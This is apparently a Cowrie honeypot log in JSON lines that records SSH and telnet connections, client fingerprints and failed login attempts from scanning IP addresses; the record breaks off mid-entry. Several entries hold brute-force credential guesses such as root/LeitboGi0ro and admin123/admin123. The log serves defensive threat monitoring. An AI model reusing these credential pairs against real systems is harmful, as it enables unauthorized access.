{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:31.699675Z","src_ip":"91.92.42.227","session":"f0199e1cf340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63532,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e96e85ab32c","protocol":"telnet","message":"New connection: 35.205.108.138:63532 (10.17.0.5:23) [session: 3e96e85ab32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:31.780689Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63542,"dst_ip":"10.17.0.5","dst_port":23,"session":"de8ecf592a4b","protocol":"telnet","message":"New connection: 35.205.108.138:63542 (10.17.0.5:23) [session: de8ecf592a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.018007Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34772,"dst_ip":"10.17.0.5","dst_port":22,"session":"a11a5ba5b20d","protocol":"ssh","message":"New connection: 45.156.87.147:34772 (10.17.0.5:22) [session: a11a5ba5b20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.094648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.104834Z","src_ip":"45.156.87.147","session":"a11a5ba5b20d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.178555Z","src_ip":"45.156.87.147","session":"a11a5ba5b20d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63550,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ccbb8acbda","protocol":"telnet","message":"New connection: 35.205.108.138:63550 (10.17.0.5:23) [session: 26ccbb8acbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.183591Z"}
{"eventid":"cowrie.session.closed","duration":0.010571479797363281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.194070Z","src_ip":"35.205.108.138","session":"26ccbb8acbda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63558,"dst_ip":"10.17.0.5","dst_port":23,"session":"bec4e7c4bcce","protocol":"telnet","message":"New connection: 35.205.108.138:63558 (10.17.0.5:23) [session: bec4e7c4bcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.353115Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.501609Z","src_ip":"45.156.87.147","session":"a11a5ba5b20d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63562,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb022d51954","protocol":"telnet","message":"New connection: 35.205.108.138:63562 (10.17.0.5:23) [session: 4bb022d51954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.515501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.649205Z","src_ip":"91.92.42.227","session":"4d7f43d7caa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.651863Z","src_ip":"91.92.42.227","session":"4d7f43d7caa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63574,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1692e1c2bba","protocol":"telnet","message":"New connection: 35.205.108.138:63574 (10.17.0.5:23) [session: e1692e1c2bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.679129Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63580,"dst_ip":"10.17.0.5","dst_port":23,"session":"54945be03df7","protocol":"telnet","message":"New connection: 35.205.108.138:63580 (10.17.0.5:23) [session: 54945be03df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:32.840708Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63584,"dst_ip":"10.17.0.5","dst_port":23,"session":"904785e48123","protocol":"telnet","message":"New connection: 35.205.108.138:63584 (10.17.0.5:23) [session: 904785e48123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:33.001017Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63592,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dc04b4fc808","protocol":"telnet","message":"New connection: 35.205.108.138:63592 (10.17.0.5:23) [session: 1dc04b4fc808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:33.161008Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63600,"dst_ip":"10.17.0.5","dst_port":23,"session":"238350f1b45f","protocol":"telnet","message":"New connection: 35.205.108.138:63600 (10.17.0.5:23) [session: 238350f1b45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:33.325662Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63614,"dst_ip":"10.17.0.5","dst_port":23,"session":"931c8dbe72ef","protocol":"telnet","message":"New connection: 35.205.108.138:63614 (10.17.0.5:23) [session: 931c8dbe72ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:33.490018Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:33.623210Z","src_ip":"45.156.87.147","session":"a11a5ba5b20d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63616,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eeefd4bf3df","protocol":"telnet","message":"New connection: 35.205.108.138:63616 (10.17.0.5:23) [session: 2eeefd4bf3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:33.651756Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:33.655369Z","src_ip":"35.205.108.138","session":"2eeefd4bf3df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63618,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d8676af1ed6","protocol":"telnet","message":"New connection: 35.205.108.138:63618 (10.17.0.5:23) [session: 7d8676af1ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:33.814864Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63634,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9e130c1c68","protocol":"telnet","message":"New connection: 35.205.108.138:63634 (10.17.0.5:23) [session: fa9e130c1c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:33.974596Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63638,"dst_ip":"10.17.0.5","dst_port":23,"session":"86597365c23b","protocol":"telnet","message":"New connection: 35.205.108.138:63638 (10.17.0.5:23) [session: 86597365c23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:34.136316Z"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:34.146562Z","src_ip":"91.92.42.227","session":"f0199e1cf340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63646,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1002ea7e89f","protocol":"telnet","message":"New connection: 35.205.108.138:63646 (10.17.0.5:23) [session: b1002ea7e89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:34.301728Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63660,"dst_ip":"10.17.0.5","dst_port":23,"session":"31baebd30012","protocol":"telnet","message":"New connection: 35.205.108.138:63660 (10.17.0.5:23) [session: 31baebd30012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:34.462565Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63664,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7e4b38ce54a","protocol":"telnet","message":"New connection: 35.205.108.138:63664 (10.17.0.5:23) [session: e7e4b38ce54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:34.622918Z"}
{"eventid":"cowrie.session.closed","duration":0.0039055347442626953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:34.626709Z","src_ip":"35.205.108.138","session":"e7e4b38ce54a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63668,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aecfb1b934e","protocol":"telnet","message":"New connection: 35.205.108.138:63668 (10.17.0.5:23) [session: 1aecfb1b934e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:34.784136Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63672,"dst_ip":"10.17.0.5","dst_port":23,"session":"f052db9d9fd0","protocol":"telnet","message":"New connection: 35.205.108.138:63672 (10.17.0.5:23) [session: f052db9d9fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:34.944980Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 171","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 171] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:34.949001Z","src_ip":"35.205.108.138","session":"f052db9d9fd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.108.138","src_port":63674,"dst_ip":"10.17.0.5","dst_port":23,"session":"5833c037d023","protocol":"telnet","message":"New connection: 35.205.108.138:63674 (10.17.0.5:23) [session: 5833c037d023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:35.110438Z"}
{"eventid":"cowrie.session.closed","duration":0.004559516906738281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:35.114720Z","src_ip":"35.205.108.138","session":"5833c037d023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60606,"dst_ip":"159.203.135.109","dst_port":22,"session":"044688e03dbe","protocol":"ssh","message":"New connection: 80.94.92.184:60606 (159.203.135.109:22) [session: 044688e03dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:37.435769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:37.439781Z","src_ip":"80.94.92.184","session":"044688e03dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34792,"dst_ip":"10.17.0.5","dst_port":22,"session":"a327aea5e6df","protocol":"ssh","message":"New connection: 45.156.87.147:34792 (10.17.0.5:22) [session: a327aea5e6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:37.616274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:37.620390Z","src_ip":"45.156.87.147","session":"a327aea5e6df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:37.703770Z","src_ip":"45.156.87.147","session":"a327aea5e6df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:37.956426Z","src_ip":"45.156.87.147","session":"a327aea5e6df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:38.055298Z","src_ip":"80.94.92.184","session":"044688e03dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34236,"dst_ip":"10.17.0.5","dst_port":22,"session":"25f021c8c578","protocol":"ssh","message":"New connection: 91.92.42.227:34236 (10.17.0.5:22) [session: 25f021c8c578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:38.105043Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33322,"dst_ip":"159.203.135.109","dst_port":23,"session":"a946d4732590","protocol":"telnet","message":"New connection: 128.199.8.54:33322 (159.203.135.109:23) [session: a946d4732590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:38.240110Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:38.799601Z","src_ip":"80.94.92.184","session":"044688e03dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:39.040932Z","src_ip":"45.156.87.147","session":"a327aea5e6df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:39.441595Z","src_ip":"91.92.42.227","session":"4d7f43d7caa5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:39.651366Z","src_ip":"91.92.42.227","session":"25f021c8c578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:39.658020Z","src_ip":"91.92.42.227","session":"25f021c8c578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:40.985877Z","src_ip":"80.94.92.184","session":"044688e03dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:42.086052Z","src_ip":"91.92.42.227","session":"4d7f43d7caa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56714,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cc41c1f710d","protocol":"ssh","message":"New connection: 45.156.87.147:56714 (10.17.0.5:22) [session: 9cc41c1f710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:43.281340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:43.284323Z","src_ip":"45.156.87.147","session":"9cc41c1f710d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecd